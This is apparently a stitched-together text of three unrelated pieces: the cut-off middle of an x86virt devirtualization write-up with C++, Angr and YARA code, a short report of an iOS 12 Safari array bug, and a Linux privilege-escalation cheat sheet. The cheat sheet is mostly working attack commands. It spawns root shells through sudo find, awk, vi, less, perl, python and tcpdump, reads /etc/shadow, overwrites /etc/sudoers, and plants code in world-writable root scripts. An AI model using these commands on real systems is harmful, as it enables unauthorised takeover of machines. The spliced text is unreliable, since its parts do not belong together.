add VMR, esp
mov eax, [VMR]

VMR is a register that only exists in the virtual machine, so during devirtualization, we need to interpret this and translate it back into its original form.

Finally, x86virt encrypts the entire instruction using an encryption algorithm that is, to some extent, randomized. Every time an instruction is executed, it is first decrypted and then interpreted. However, there is one consistency with instruction encryption between targets and VM layers: regardless of how the instruction was encrypted, in its encrypted form, the first byte XORed with the second byte will always give you the instruction length.

Another important note regarding instruction encryption is that the key to decrypt it is the address of that VM instruction relative to the start of the virtual function/code stub it belongs to. In other words, the key is the offset to that instruction in the function that has been virtualized. This means you cannot just blindly decrypt all the instructions in a function. You must do proper control flow analysis to determine where in memory the valid bytecode instructions are by identifying and following conditional or unconditional jumps.

So to disassemble an x86virt VM instruction, we must know:

  1. The size of the instruction
  2. The offset to that instruction
  3. The encryption algorithm (because it is somewhat random)

There is one last piece of the puzzle that we must consider when disassembling x86virt VM code. The conditional jumps for x86virt VM are encoded with a jump type operand. The part of the code that interprets the jump type operand is also somewhat random between VM layers and virtualized targets. We need to handle this case in our devirtualizer as well.

The x86devirt Disassembler

An important part to the x86-devirtualizer is the disassembler. The role of this module is to take a stub of virtualized, encrypted x86virt bytecode that has been extracted from the protected application and produce a NASM x86 Assembly translation of the encrypted bytecode. To do this, it needs a few pieces of information from the protected application:

  1. A dump of the decryption algorithm that the VM stub uses to decrypt VM instruction before interpreting them
  2. The mappings of opcodes to their respective behaviour, since the opcodes are randomized (i.e, 0x33 maps to add, 0x22 maps to mov)
  3. The mappings of jmp type operand to their respective jump behavior (i.e, jmp type 2 maps to je, 3 maps to jne, etc…)
  4. A dump of the function / stub of code to be devirtualized

We will see how this information is extracted by looking at the x86devirt.py x64dbg plugin later, but for now we will assume we have been provided this information.

The first step is to get the instruction length, decrypt the instruction and then identify whether we should interpret the instruction as an x86 instruction or a VM bytecode instruction. We see this being done in disassemblers’ decodeVmInstruction method:


unsigned int decodeVmInstruction(vector&lt;DecodedVmInstruction&gt;&amp; decodedBuffer, uint32_t vmRelativeIp, VmInfo&amp; vmInfo) {

    uint32_t instrLength = getInstructionLength(vmInfo.getBaseAddress() + vmRelativeIp, vmInfo);

    //Read with offset 1, to trim off instr length byte
    unique_ptr&lt;uint8_t[]&gt; instrBuffer = vmInfo.readMemory(vmInfo.getBaseAddress() + vmRelativeIp + 1, instrLength);
    vmInfo.decryptMemory(instrBuffer.get(), instrLength, vmRelativeIp);

    DecodedInstructionType_t instrType = DecodedInstructionType_t::INSTR_UNKNOWN;

    if(*reinterpret_cast&lt;unsigned short*&gt;(instrBuffer.get()) == 0xFFFF) {
        //Offset by 2 which removes the 0xFFFF part of the instruction.

        //Map instructions correctly
        instrBuffer[2] = vmInfo.getOpcodeMapping(instrBuffer[2]);
        decodedBuffer = disassembleVmInstruction(instrBuffer.get() + 2, instrLength - 2, vmRelativeIp, vmInfo);
    } else {
        decodedBuffer = disassemble86Instruction(instrBuffer.get(), instrLength, vmInfo.getBaseAddress() + vmRelativeIp);
    }

    return instrLength + 1;
}

We see that the size is extracted using the getInstructionLength method (this will simply XOR the first two bytes to get the length). After that, the instruction is decrypted by using the dumped decryption subroutine extracted from the protected application (a more proper approach would be to emulate the code rather than directly executing it). Finally, we examine the first word to identify how to decode the instruction (as an x86 instruction or as a VM instruction). If the instruction is a VM bytecode instruction, we need to look up the opcode in the opcode mapping to determine what behaviour it maps to.

The way we disassemble x86 instructions is by using the udis86 library, and also keeping some basic information about the disassembled instruction. You can see how that is done below:


vector&lt;DecodedVmInstruction&gt; disassemble86Instruction(const uint8_t* instrBuffer, uint32_t instrLength, const uint32_t instrAddress) {
    DecodedVmInstruction result;
    result.isDecoded = false;
    result.address = instrAddress;
    result.controlDestination = 0;
    result.size = instrLength;

    memcpy(result.bytes, instrBuffer, instrLength);

    ud_set_input_buffer(&amp;ud_obj, instrBuffer, instrLength);
    ud_set_pc(&amp;ud_obj, instrAddress);
    unsigned int ret = ud_disassemble(&amp;ud_obj);
    strcpy(result.disassembled, ud_insn_asm(&amp;ud_obj));

    if(ret == 0)
        result.type = DecodedInstructionType_t::INSTR_UNKNOWN;
    else
        result.type = (!strncmp(result.disassembled, "ret", 3) ? DecodedInstructionType_t::INSTR_RETN : DecodedInstructionType_t::INSTR_MISC);

    vector&lt;DecodedVmInstruction&gt; resultSet;
    resultSet.push_back(result);

    return resultSet;
}

When it comes to disassembling x86virt bytecode instructions, we do that with a different subroutine, disassembleVmInstruction. The purpose of this subroutine is fairly straightforward so I won’t bore you by reading the code line by line. However, some interesting cases are case 1 and case 2, which are essentially x86 instructions with VMR as the operand. It is also worth noting case 7 where the decoding of x86virt jump instructions are handled and case 16 which just signals for the VM to stop interpreting (and has no x86 equivalent)

Once we can disassemble the instructions, we need to properly identify where they are. As was previously mentioned, this requires some control flow analysis. During control flow analysis, the disassembler identifies the different blocks of code in a subroutine by using the getDisassembleRegions function. The getDisassembleRegions basically returns the regions of code in a method that can be reached using conditional or unconditional jumps inside of a virtualized function. We can see its behaviour below:


vector&lt;DisassembledRegion&gt; getDisassembleRegions(const uint32_t initialIp, VmInfo&amp; vmInfo) {
    vector&lt;DisassembledRegion&gt; disassembledStubs;
    queue&lt;uint32_t&gt; stubsToDisassemble;
    stubsToDisassemble.push(initialIp);

    while(!stubsToDisassemble.empty()) {
        uint32_t vmRelativeIp = stubsToDisassemble.front() - vmInfo.getBaseAddress();
        stubsToDisassemble.pop();

        if(isInRegions(disassembledStubs, vmRelativeIp))
            continue;

        DisassembledRegion current;
        current.min = vmRelativeIp;

        bool continueDisassembling = true;
        while(vmRelativeIp &lt;= vmInfo.getDumpSize() &amp;&amp; continueDisassembling) {

            vector&lt;DecodedVmInstruction&gt; instrSet;

            vmRelativeIp += decodeVmInstruction(instrSet, vmRelativeIp, vmInfo);

            for(auto&amp; instr : instrSet) {
                if(instr.type == DecodedInstructionType_t::INSTR_UNKNOWN) {
                    stringstream msg;
                    msg &lt;&lt; "Unknown instruction encountered: 0x" &lt;&lt; hex &lt;&lt; ((unsigned long)instr.bytes[0]);
                    throw runtime_error(msg.str());
                }

                if(instr.type == DecodedInstructionType_t::INSTR_JUMP || instr.type == DecodedInstructionType_t::INSTR_CONDITIONAL_JUMP)
                    stubsToDisassemble.push(instr.controlDestination);

                if(instr.type == DecodedInstructionType_t::INSTR_STOP || instr.type == DecodedInstructionType_t::INSTR_RETN || instr.type == DecodedInstructionType_t::INSTR_JUMP)
                    continueDisassembling = false;
            }
        }

        current.max = vmRelativeIp;
        disassembledStubs.push_back(current);
    }

    //Now we must resolve all overlapping stubs
    for(auto it = disassembledStubs.begin(); it != disassembledStubs.end();) {
        if(isInRegions(disassembledStubs, it-&gt;min, it-&gt;max))
            disassembledStubs.erase(it++);
        else
            it++;
    }

    return disassembledStubs;
}

The getDisassembleRegions performs the following functionality:

  1. Disassemble the virtualized subroutine from its start address and continues to do so until it encounters a jump (conditional or unconditional) or a return.
  2. If a conditional jump is encountered, its destination address is queued up to be the next region to be disassembled and the disassembler continues executing.
  3. If an unconditional jump is encountered, the destination address is queued up and disassembling of the current block ends
  4. If a ret is encountered, disassembling of the current block ends.
  5. Loops until there are no more regions to be disassembled.

The problem with the above algorithm is that it will identify code such as what is seen below:


labelD:
...
...
labelA:
...
...
jmp labelB
...
...
labelB:
...
...
jz labelD
...

As having overlapping blocks of code, which will result in redundant blocks of code and thus redundant disassembled output. This was solved by testing for and removing smaller overlapping regions:


    //Now we must resolve all overlapping stubs
    for(auto it = disassembledStubs.begin(); it != disassembledStubs.end();) {
        if(isInRegions(disassembledStubs, it-&gt;min, it-&gt;max))
            disassembledStubs.erase(it++);
        else
            it++;
    }

    return disassembledStubs;

After we know the basic blocks of a subroutine that contain valid executable code, we can begin disassembling them. This is done in the disassembleStub routine:


bool disassembleStub(const uint32_t initialIp, VmInfo&amp; vmInfo) {

    vector&lt;DisassembledRegion&gt; stubs = getDisassembleRegions(initialIp, vmInfo);

    //Needs to be sorted, otherwise (due to jump sizes) may not fit into original location
    //Sorting should match it with the way it was implemented.
    sort(stubs.begin(), stubs.end(), sortRegionsAscending);

    if(stubs.empty()) {
        printf(";No stubs detected to disassemble.. %d", stubs.size());
        return true;
    }

    vector&lt;DecodedVmInstruction&gt; instructions;
    for(auto&amp; stub : stubs) {

        bool continueDisassembling = true;
        DecodedVmInstruction blockMarker;
        blockMarker.type = DecodedInstructionType_t::INSTR_COMMENT;
        strcpy(blockMarker.disassembled, "BLOCK");
        instructions.push_back(blockMarker);
        for(uint32_t vmRelativeIp = stub.min; continueDisassembling &amp;&amp; vmRelativeIp &lt; stub.max;) {

            vector&lt;DecodedVmInstruction&gt; instrSet;

            vmRelativeIp += decodeVmInstruction(instrSet, vmRelativeIp, vmInfo);

            for(auto&amp; instr : instrSet) {
                if(instr.type == DecodedInstructionType_t::INSTR_UNKNOWN)
                    throw runtime_error("Unknown instruction encountered");

                if(instr.type == DecodedInstructionType_t::INSTR_STOP) {
                    continueDisassembling = false;
                    break;
                }

                instructions.push_back(instr);
            }

        }

        instructions.push_back(blockMarker);
    }

    for(auto&amp; i : eliminateVmr(instructions)) {
        formatInstructionInfo(i);
    }

    return true;
}

An important note with this method is that it sorts the disassembled regions by their start address after doing the control flow analysis with getDisassembledRegions. This sorting must be done because the natural order was thrown out of whack by the queuing nature of the control flow analysis. Functionally, the order doesn’t really make a difference in a normal application because at the end of the day, the code is still going to execute the same way regardless of where the instructions are. However, the way in which the blocks are organized will change the size of the code once it is assembled in NASM due to the way jump instructions are encoded on the x86 platform. Essentially, the distance between the jump instructions and their destination addresses will change depending on the order of the code blocks in the function, and the distance will influence the size of the jump instruction. If the devirtualized code is not the size of its original form (i.e, before it is was passed into x86virt to be virtualized) or smaller, then it will not fit back into where it was ripped from. While functionally, it doesn’t matter that it isn’t in the «proper» location, it does matter later when we encounter multiple VM layers because our signatures will not match partial handlers etc.

Other than that, there isn’t anything too weird or noteworthy here until we encounter the call to eliminateVmr. Remember that I mentioned how x86virt creates a virtual register. We need to eliminate that because we cannot assemble that through NASM or produce valid x86 code while we have a virtual register. Below, we can see the behaviour of eliminateVmr:


vector&lt;DecodedVmInstruction&gt; eliminateVmr(vector&lt;DecodedVmInstruction&gt;&amp; instructions) {
    auto itVmrStart = instructions.end();
    vector&lt;DecodedVmInstruction&gt; compactInstructionlist;

    for(auto it = instructions.begin(); it != instructions.end(); it++) {
        if(!strncmp("mov VMR,", it-&gt;disassembled, 8) &amp;&amp; itVmrStart == instructions.end()) {
            itVmrStart = it;
        }else if(itVmrStart != instructions.end() &amp;&amp; strstr(it-&gt;disassembled, "[VMR]") != 0)
        {
            for(auto listing = itVmrStart; listing != it+1; listing++) {
                DecodedVmInstruction comment = *listing;
                comment.type = INSTR_COMMENT;
                compactInstructionlist.push_back(comment);
            }
            compactInstructionlist.push_back(eliminateVmrFromSubset(itVmrStart, it + 1));
            itVmrStart = instructions.end();
        } else if (itVmrStart == instructions.end()) {
            compactInstructionlist.push_back(*it);
        }
    }

    return compactInstructionlist;
}

The way VMR is used in the virtualized code is fairly convenient. VMR is essentially used to calculate pointer addresses. For example, it only ever appears in a similar form to:


mov VMR, 0
add VMR, ecx
shl VMR, 2
add VMR, 15
mov eax, [VMR]

It always starts with operations on VMR and ends with VMR being dereferenced. This means that we can essentially replace all of those instructions with:


mov eax, [ecx * 2 + 15]

So eliminateVmr will look for a pattern where the destination operand is VMR and then some operations on VMR followed by a dereference on VMR. Everything between that pattern can always be simplified using the same algorithm. You can see the specifics of that algorithm in eliminateVmrFromSubset:


DecodedVmInstruction eliminateVmrFromSubset(vector&lt;DecodedVmInstruction&gt;::iterator start, vector&lt;DecodedVmInstruction&gt;::iterator end) {
    bool baseReg2Used = false;
    bool baseReg1Used = false;
    char baseReg1Buffer[10];
    char baseReg2Buffer[10];
    uint32_t multiplierReg1 = 1;
    uint32_t multiplierReg2 = 1;

    uint32_t offset = 0;

    for(auto it = start; it != end; it++) {
        char* dereferencePointer = 0;

        if(!strncmp(it-&gt;disassembled, "mov VMR, 0x", 11)) {
            offset = strtoul(&amp;it-&gt;disassembled[11], NULL, 16);
            baseReg1Used = false;
            baseReg2Used = false;
            multiplierReg1 = multiplierReg2 = 1;
        } else if(!strncmp(it-&gt;disassembled, "mov VMR, ", 9)) {
            baseReg1Used = true;
            baseReg2Used = false;
            multiplierReg1 = multiplierReg2 = 1;
            offset = 0;
            strcpy(baseReg1Buffer, &amp;it-&gt;disassembled[9]);
        } else if(!strncmp(it-&gt;disassembled, "add VMR, 0x", 11)) {
            offset += strtoul(&amp;it-&gt;disassembled[11], NULL, 16);
        } else if(!strncmp(it-&gt;disassembled, "add VMR, ", 9)) {
            if(baseReg1Used) {
                baseReg2Used = true;
                strcpy(baseReg2Buffer, &amp;it-&gt;disassembled[9]);
            } else {
                baseReg1Used = true;
                strcpy(baseReg1Buffer, &amp;it-&gt;disassembled[9]);    
            }
        } else if(!strncmp(it-&gt;disassembled, "shl VMR, 0x", 11)) {
            uint32_t shift = strtoul(&amp;it-&gt;disassembled[11], NULL, 16);
            offset = offset &lt;&lt; shift;
            if(baseReg1Used) {
                multiplierReg1 = multiplierReg1 &lt;&lt; shift;
            }
            if(baseReg2Used) {
                multiplierReg2 = multiplierReg2 &lt;&lt; shift;
            }
        }
    }

    auto lastInstruction = end - 1;
    string reconstructInstr(lastInstruction-&gt;disassembled);
    stringstream reconstructed;

    reconstructed &lt;&lt; "[";

    if(baseReg1Used) {
        if(multiplierReg1 != 1)
            reconstructed &lt;&lt; "0x" &lt;&lt; hex &lt;&lt; multiplierReg1 &lt;&lt; " * ";

        reconstructed &lt;&lt; baseReg1Buffer;
    }

    if(baseReg2Used) {
        reconstructed &lt;&lt; " + ";
        if(multiplierReg2 != 1)
            reconstructed &lt;&lt; "0x" &lt;&lt; hex &lt;&lt; multiplierReg2 &lt;&lt; " * ";

        reconstructed &lt;&lt; baseReg2Buffer;
    }

    if(offset != 0 || !(baseReg1Used))
        reconstructed &lt;&lt;  " + 0x" &lt;&lt; hex &lt;&lt; offset;

    reconstructed &lt;&lt; "]";

    reconstructInstr.replace(reconstructInstr.find("[VMR]"), 5, reconstructed.str());

    DecodedVmInstruction result;

    result.isDecoded = true;
    result.address = start-&gt;address;
    result.size = 0;
    result.type = lastInstruction-&gt;type;
    strcpy(result.disassembled, reconstructInstr.c_str());

    return result;
}

Once VMR is eliminated, all that is left to do is print out the disassembly, which we can see being done here in disassembleStub:


...
    for(auto&amp; i : eliminateVmr(instructions)) {
        formatInstructionInfo(i);
    }
...

Generating a Jump Map with Angr

As I mentioned earlier, when it comes to the x86virt bytecode conditional / unconditional jump instruction handler, we need to extract the jump mappings (that is, which value in the jump type operand matches which type of jump). The way the x86virt jump handler works is that it takes the first operand (which is the jump type) and passes it into a somewhat randomly generated subroutine. This subroutine returns true if the EFLAGS are in a condition that permits jumping, or false otherwise.

Because this subroutine is not static and is a bit different for every VM Layer or virtualized target, we need some way of extracting these mappings out of that randomly generated subroutine. If you are not familiar with Angr or symbolic execution, I suggest you read a tiny bit on it before reading this section because the learning curve can be a bit steep.

The jump maps are extracted by running an Angr simulation on the jump decoder that was extracted from the protected application. The simulation is done in x86devirt_jmp.py and the dump of the decoder is provided by x86devirt.py (which we will get into later).

The way this was performed was first by creating a table of x86 jump types with EFLAG values that permit a jump to be taken for that jump type and EFLAG values that do not permit a jump to be taken. Additionally, all jump types in the table were prioritized.

Jump type priority worked by giving x86 jump types that test less flags a lower priority than jump types that test more flags. The reason jump types need to be prioritized is because there is overlap in the conditions that need to be checked for different jumps. An example of this is the JZ jump (ZF = 0) and the JA (ZF = 0 and CF = 0) jump. Essentially, if a set of x candidate x86 jump types can be mapped to a particular jump type y, then y should be mapped to the highest priority jump type in the set of x.

Below we see the list of possible jumps:


possibleJmps = [
    {
        "name": "jz",
        "must": [0x40],
        "not": [0x1, 0],
        "priority": 1
    },
    {
        "name": "jo",
        "must": [0x800],
        "not": [0],
        "priority": 1
    },
    ...
    ...

Below is the code responsible for mapping which emulated states permit jumping and which states do not, for all jump types (0-15):


def getJmpStatesMap(proj):
    statesMap = {}

    state = proj.factory.blank_state(addr=0x0)
    state.add_constraints(state.regs.edx &gt;= 0)
    state.add_constraints(state.regs.edx &lt;= 15)
    simgr = proj.factory.simulation_manager(state)
    r = simgr.explore(find=0xDA, avoid=0xDE, num_find=100)

    for state in r.found:
        val = state.solver.eval(state.regs.edx)
        val = val - 0xD
        val = val / 2

        if(not statesMap.has_key(val)):
            statesMap[val] = {"must": [], "not": []}

        statesMap[val]["must"].append(state)

    state = proj.factory.blank_state(addr=0x0)
    state.add_constraints(state.regs.edx &gt;= 0)
    state.add_constraints(state.regs.edx &lt;= 15)
    simgr = proj.factory.simulation_manager(state)
    r = simgr.explore(find=0xDE, avoid=0xDA, num_find=100)

    for state in r.found:
        val = state.solver.eval(state.regs.edx)
        val = val - 0xD
        val = val / 2

        statesMap[val]["not"].append(state)

    return statesMap

The method essentially performs the following:

  1. Iterate through all states that reach a positive/negative return (jump allowed or not allowed to be taken)
  2. Resolve the constraint on the jump type (Jump type is stored in EDX)
  3. Append that state to either the «must» set, which is states that reached a positive return permitting the jump to be taken (offset 0xDA in the dumped jump decoder code) or «not» (offset 0xDE in the dumped jump decoder code)

After we know which states permit jumping or restrict jumping for each jump type, we can begin testing the constraints on the EFLAGS register that allow for arriving at those states to determine which kind of x86 jump it maps to:


def decodeJumps(inputFile):
    proj = angr.Project(inputFile, main_opts={'backend': 'blob', 'custom_arch': 'i386'}, auto_load_libs=False)

    stateMap = getJmpStatesMap(proj)
    jumpMappings = {}
    for key, val in stateMap.iteritems():

        for jmp in possibleJmps:
            satisfiedMustsRemaining = len(jmp["must"])
            satisfiedNotsRemaining = len(jmp["not"])

            for state in val["must"]:
                for con in jmp["must"]:
                    if (state.solver.satisfiable(
                            extra_constraints=[state.regs.eax &amp; controlFlowBits == con &amp; controlFlowBits])):
                        satisfiedMustsRemaining -= 1;

            for state in val["not"]:
                for con in jmp["not"]:
                    if (state.solver.satisfiable(
                            extra_constraints=[state.regs.eax &amp; controlFlowBits == con &amp; controlFlowBits])):
                        satisfiedNotsRemaining -= 1;

            if(satisfiedMustsRemaining &lt;= 0 and satisfiedNotsRemaining &lt;= 0):
                if(not jumpMappings.has_key(key)):
                    jumpMappings[key] = []

                jumpMappings[key].append(jmp)

    finalMap = {}
    for key, val in jumpMappings.iteritems():
        maxPriority = 0;
        jmpName = "NOE FOUND"
        for j in val:
            if(j["priority"] &gt; maxPriority):
                maxPriority = j["priority"]
                jmpName = j["name"]
        finalMap[jmpName] = key
        print("Mapped " + str(key) + " to " + jmpName)

    proj.terminate_execution()
    return finalMap

For each possible x86virt jump type, we test against each candidate x86 jump type to see if the x86 jump’s «not» and «must» sets can be satisfied accordingly by the restrictions on the EFLAGS registers in each state. If all «not»s and «must»s are satisfied, then the x86 jump is added as a possible candidate for that jump type.

Later, we iterate through all candidate x86 jumps for each jump type and choose the one with the highest priority to be mapped to it.

Finding the Signatures in the Protected Binary & Dumping Required Data

Finally, on to the last module needed to devirtualize code. x86devirt.py is the x64dbgpy Python plugin that instructs x64dbg on how to devirtualize the target.

x86devirt uses YARA rules to locate sections of code in the protected application, including the VM Stub, the instruction handlers, etc… You can see these YARA rules in VmStub.yara, VmRef.yara and instructions.yara:

  1. VmStub.yara is the YARA signature of the Virtual Machine interpreter.
  2. VmRef.yara is the YARA signature to detect where the application passes control off to the interpreter to begin interpreting a section of x86virt bytecode.
  3. instructions.yara is a set of YARA signatures for the different x86 instruction handlers.

An important note with these signatures is that they must match the original VM Stub and the devirtualized code generated by x86devirt. For example, consider a target that has been virtualized using two VM layers. After the first layer has been devirtualized, there will be a new VM stub in plain x86 form (that is, the second layer of virtualization). These signatures need to detect that second layer. However, the second layer was assembled using a different environment than the first layer and thus we need to take care for some special x86 instruction encodings in our signature (some x86 instructions have more than one way of being encoded). For example, consider:


add eax, ebx ; Encoded as 03C3
add eax, ebx ; Encoded as 01D8

So, when developing our signatures, we need to keep in mind that NASM could choose either encoding. With YARA, I just masked out instructions like these. If you are ever developing a signature with these constraints, please look into this more. There are plenty of resources on this topic: https://www.strchr.com/machine_code_redundancy

When it comes to devirtualizing x86virt, we must perform the following:

  1. Locate all VM Stubs that are present in plain x86 form using the vmStub.yara YARA signature
  2. Extract the decryption routine from the VM Stub
  3. Locate all references to that VM Stub (i.e, all areas where the VM is invoked to begin virtualizing code)
  4. Through each reference, extract the address where the virtualized bytecode is, and where the original code was ripped from
  5. Emulate part of the VM Stub to locate all instruction handlers and their opcodes
  6. Apply the YARA signatures to identify which handler (and subsequently, opcode) maps to which instruction behaviour and produce the instruction / opcode mappings
  7. Locate the JXX instruction handler and dump the part of the handler responsible for testing whether, given the jump type and state of the EFLAGS, the jump is taken. This is passed to x86devirt_jmp.py to extract the jump mappings
  8. For each reference, dump the virtualized code around that references and, with the jmp mappings, instruction mappings and the decryption routine, feed it to the x86virt-disassembler to be disassembled
  9. Finally, run NASM on the disassembler output to produce a x86 binary blob that can be written into where the virtualized code was ripped from, therefore restoring the virtualized function to its original form
  10. Loop back and search for any newly unveiled VM stubs

This process, once completed, will leave the x64dbg debugger in a state that allows the application to be cleanly dumped without any need for the VM stub.

(https://github.com/JeremyWildsmith)

Serious bug, Array state will be cached in iOS 12 Safari.

Some problem of Array’s value state in the newly released iOS 12 Safari, for example, code like this:


<span class="dec">&lt;!DOCTYPE html&gt;</span>
<span class="tag">&lt;html&gt;</span>
<span class="tag">&lt;head&gt;</span>
    <span class="tag">&lt;meta</span> <span class="atn">charset</span><span class="pun">=</span><span class="atv">"utf-8"</span><span class="tag">&gt;</span>
    <span class="tag">&lt;meta</span> <span class="atn">name</span><span class="pun">=</span><span class="atv">"viewport"</span> <span class="atn">content</span><span class="pun">=</span><span class="atv">"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"</span><span class="tag">&gt;</span>
    <span class="tag">&lt;title&gt;</span><span class="pln">iOS 12 Safari bugs</span><span class="tag">&lt;/title&gt;</span>
    <span class="tag">&lt;script</span> <span class="atn">type</span><span class="pun">=</span><span class="atv">"text/javascript"</span><span class="tag">&gt;</span><span class="pln">
    window</span><span class="pun">.</span><span class="pln">addEventListener</span><span class="pun">(</span><span class="str">"load"</span><span class="pun">,</span> <span class="kwd">function</span> <span class="pun">()</span>
    <span class="pun">{</span>
        <span class="kwd">let</span><span class="pln"> arr </span><span class="pun">=</span> <span class="pun">[</span><span class="lit">1</span><span class="pun">,</span> <span class="lit">2</span><span class="pun">,</span> <span class="lit">3</span><span class="pun">,</span> <span class="lit">4</span><span class="pun">,</span> <span class="lit">5</span><span class="pun">];</span><span class="pln">
        alert</span><span class="pun">(</span><span class="pln">arr</span><span class="pun">.</span><span class="pln">join</span><span class="pun">());</span><span class="pln">

        document</span><span class="pun">.</span><span class="pln">querySelector</span><span class="pun">(</span><span class="str">"button"</span><span class="pun">).</span><span class="pln">addEventListener</span><span class="pun">(</span><span class="str">"click"</span><span class="pun">,</span> <span class="kwd">function</span> <span class="pun">()</span>
        <span class="pun">{</span><span class="pln">
            arr</span><span class="pun">.</span><span class="pln">reverse</span><span class="pun">();</span>
        <span class="pun">});</span>
    <span class="pun">});</span>
    <span class="tag">&lt;/script&gt;</span>
<span class="tag">&lt;/head&gt;</span>
<span class="tag">&lt;body&gt;</span>
    <span class="tag">&lt;button&gt;</span><span class="pln">Array.reverse()</span><span class="tag">&lt;/button&gt;</span>
    <span class="tag">&lt;p</span> <span class="atn">style</span><span class="pun">=</span><span class="atv">"</span><span class="kwd">color</span><span class="pun">:</span><span class="pln">red</span><span class="pun">;</span><span class="atv">"</span><span class="tag">&gt;</span><span class="pln">test: click button and refresh page, code:</span><span class="tag">&lt;/p&gt;</span>
<span class="tag">&lt;/body&gt;</span>
<span class="tag">&lt;/html&gt;</span>

It’s definitely a BUG! And it’s a very serious bug.

As my test, the bug is due to the optimization of array initializer which all values are primitive literal. For example 

() =&gt; [1, null, 'x']

 will return such arrays, and all return arrays link to same memory address, and some method like 

toString()

 is also memorized. Normally, any mutable operation on such array will copy to a individual memory space and link to it, this is so-called copy-on-write technique (https://en.wikipedia.org/wiki/Copy-on-write).

reverse()

 method will mutate the array, so it should trigger CoW, Unfortunately, it doesn’t now, which cause bug.

On the other hand, all methods which do not modify the array should not trigger CoW, and I find that even 

a.fill(value, 0, 0)

 or 

a.copyWithin(index, 0, 0)

 won’t trigger CoW because such callings don’t really mutate the array. But I notice that 

a.slice()

 WILL trigger CoW. So I guess the real reason of this bug may be someone accidentally swap the index of 

slice

 and 

reverse

.

Add a demo page, try it use iOS 12 Safari: https://cdn.miss.cat/demo/ios12-safari-bug.html

thanks

Linux Privilege Escalation

Once we have a limited shell it is useful to escalate that shells privileges. This way it will be easier to hide, read and write any files, and persist between reboots.

In this chapter I am going to go over these common Linux privilege escalation techniques:

  • Kernel exploits
  • Programs running as root
  • Installed software
  • Weak/reused/plaintext passwords
  • Inside service
  • Suid misconfiguration
  • Abusing sudo-rights
  • World writable scripts invoked by root
  • Bad path configuration
  • Cronjobs
  • Unmounted filesystems

Enumeration scripts

I have used principally three scripts that are used to enumerate a machine. They are some difference between the scripts, but they output a lot of the same. So test them all out and see which one you like best.

LinEnum

https://github.com/rebootuser/LinEnum

Here are the options:


-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text

Unix privesc

http://pentestmonkey.net/tools/audit/unix-privesc-check
Run the script and save the output in a file, and then grep for warning in it.

Linprivchecker.py

https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

Privilege Escalation Techniques

Kernel Exploits

By exploiting vulnerabilities in the Linux Kernel we can sometimes escalate our privileges. What we usually need to know to test if a kernel exploit works is the OS, architecture and kernel version.

Check the following:

OS:

Architecture:

Kernel version:


uname -a
cat /proc/version
cat /etc/issue

Search for exploits


site:exploit-db.com kernel version

python linprivchecker.py extended

Don’t use kernel exploits if you can avoid it. If you use it it might crash the machine or put it in an unstable state. So kernel exploits should be the last resort. Always use a simpler priv-esc if you can. They can also produce a lot of stuff in the 

sys.log

. So if you find anything good, put it up on your list and keep searching for other ways before exploiting it.

Programs running as root

The idea here is that if specific service is running as root and you can make that service execute commands you can execute commands as root. Look for webserver, database or anything else like that. A typical example of this is mysql, example is below.

Check which processes are running


# Metasploit
ps

# Linux
ps aux

Mysql

If you find that mysql is running as root and you username and password to log in to the database you can issue the following commands:


select sys_exec('whoami');
select sys_eval('whoami');

If neither of those work you can use a User Defined Function/

User Installed Software

Has the user installed some third party software that might be vulnerable? Check it out. If you find anything google it for exploits.


# Common locations for user installed software
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

# Debian
dpkg -l

# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )

# OpenBSD, FreeBSD
pkg_info

Weak/reused/plaintext passwords

  • Check file where webserver connect to database (
    config.php

     or similar)

  • Check databases for admin passwords that might be reused
  • Check weak passwords

username:username
username:username1
username:root
username:admin
username:qwerty
username:password
  • Check plaintext password

<span class="hljs-comment"># Anything interesting the the mail?</span>
/var/spool/mail

./LinEnum.sh -t -k password

Service only available from inside

It might be that case that the user is running some service that is only available from that host. You can’t connect to the service from the outside. It might be a development server, a database, or anything else. These services might be running as root, or they might have vulnerabilities in them. They might be even more vulnerable since the developer or user might be thinking «since it is only accessible for the specific user we don’t need to spend that much of security».

Check the netstat and compare it with the nmap-scan you did from the outside. Do you find more services available from the inside?


# Linux
netstat -anlp
netstat -ano

Suid and Guid Misconfiguration

When a binary with suid permission is run it is run as another user, and therefore with the other users privileges. It could be root, or just another user. If the suid-bit is set on a program that can spawn a shell or in another way be abuse we could use that to escalate our privileges.

For example, these are some programs that can be used to spawn a shell:


nmap
vim
less
more

If these programs have suid-bit set we can use them to escalate privileges too. For more of these and how to use the see the next section about abusing sudo-rights:


nano
cp
mv
find

Find suid and guid files


#Find SUID
find / -perm -u=s -type f 2&gt;/dev/null

#Find GUID
find / -perm -g=s -type f 2&gt;/dev/null

Abusing sudo-rights

If you have a limited shell that has access to some programs using 

sudo

 you might be able to escalate your privileges with. Any program that can write or overwrite can be used. For example, if you have sudo-rights to 

cp

 you can overwrite 

/etc/shadow

 or 

/etc/sudoers

 with your own malicious file.

awk

awk 'BEGIN {system("/bin/bash")}'
bash

cp

Copy and overwrite /etc/shadow

find

sudo find / -exec bash -i \;

find / -exec /usr/bin/awk <span class="hljs-string">'BEGIN {system("/bin/bash")}'</span> ;
ht

The text/binary-editor HT.

less

From less you can go into vi, and then into a shell.


sudo less /etc/shadow
v
:shell

more

You need to run more on a file that is bigger than your screen.


sudo more /home/pelle/myfile
!/bin/bash
mv

Overwrite 

/etc/shadow

 or 

/etc/sudoers

man
nano
nc
nmap

python/perl/ruby/lua/etc


sudo perl
exec "/bin/bash";
ctr-d

sudo python
import os
os.system("/bin/bash")
sh

tcpdump


echo $'id\ncat /etc/shadow' &gt; /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

vi/vim

Can be abused like this:


sudo vi
:shell

:set shell=/bin/bash:shell    
:!bash

How I got root with sudo/

World writable scripts invoked as root

If you find a script that is owned by root but is writable by anyone you can add your own malicious code in that script that will escalate your privileges when the script is run as root. It might be part of a cronjob, or otherwise automatized, or it might be run by hand by a sysadmin. You can also check scripts that are called by these scripts.


<span class="hljs-comment">#World writable files directories</span>
find / -writable -type d 2&gt;/dev/null
find / -perm -222 -type d 2&gt;/dev/null
find / -perm -o w -type d 2&gt;/dev/null

<span class="hljs-comment"># World executable folder</span>
find / -perm -o x -type d 2&gt;/dev/null

